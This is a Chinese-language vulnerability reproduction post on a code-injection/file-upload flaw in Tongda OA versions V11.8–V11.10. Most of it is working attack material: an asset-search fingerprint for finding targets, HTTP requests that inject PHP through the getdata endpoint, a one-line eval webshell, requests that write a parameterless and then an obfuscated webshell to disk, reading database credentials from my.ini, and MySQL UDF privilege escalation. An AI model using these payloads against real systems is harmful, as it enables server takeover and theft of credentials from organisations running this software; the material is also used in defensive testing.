登录 白背景

通达OA gateway存在前台任意文件上传漏洞

一、漏洞简介

通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台。通达OA为各行业不同规模的众多用户提供信息化管理能力,包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等,帮助广大用户降低沟通和管理成本,提升生产和决策效率。通达OA getdata接口存在任意文件上传漏洞,攻击者通过漏洞可以执行服务器任意命令控制服务器权限。

二、影响版本

  • 通达OA V11.8-通达OA V11.10

三、资产测绘

  • hunterapp.name="通达 OA"
  • 特征

image.png

四、漏洞复现

当回显中存在vuln_test字段表示存在该漏洞

GET /general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval(base64_decode(%22ZWNobyB2dWxuX3Rlc3Q7%22)))%3B/*&id=19&module=Carouselimage HTTP/1.1
Host: 192.168.31.164
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

image.png
利用方式1:webshell

http://xx.xx.xx.xx/general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval($_POST[cmd]))%3B/*&id=19&module=Carouselimage

使用蚁剑进行连接,密码为cmd
image.png
利用方式2:写入webshell

  1. 由于无法直接写入带有变量的 php 文件,所以首先利用无参 webshell
GET /general/appbuilder/web/portal/gateway/getdata?activeTab=%e5%27,1%3d%3Efwrite(fopen(%222.php%22,%22w+%22),%22%3C?php%20eval(next(getallheaders()));%22))%3b/*&id=266&module=Carouselimage HTTP/1.1
Host: 192.168.31.164
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

image.png

  1. 利用无参webshell写入webshell
GET /general/appbuilder/web/2.php HTTP/1.1
Host: 192.168.31.164
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: file_put_contents("test1.php","<?php class G948nsWJ { public function __construct(\$HvOQv){ @eval(\"/*Zrm5oN973g*/\".\$HvOQv.\"/*Zrm5oN973g*/\"); }}new G948nsWJ(\$_REQUEST['x']);?>");
Content-Length: 28

Upgrade-Insecure-Requests: 1

image.png

  1. 写入文件位置
http://xx.xx.xx.xx/general/appbuilder/web/test1.php

image.png

  1. 由于无法执行命令,需要提权,使用mysql udf提权查看数据库密码,数据库密码信息目录C:/MYOA/mysql5/my.ini

image.png

  1. 使用蚁剑连接数据库

image.png

  1. 上传udf.dll文件到mysql/lib/plugin/ 路径下

image.png

  1. 利用udf提权执行命令
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
select sys_eval("whoami");

image.png

原文: https://www.yuque.com/xiaokp7/ocvun2/ogovhs9i8foc8p0v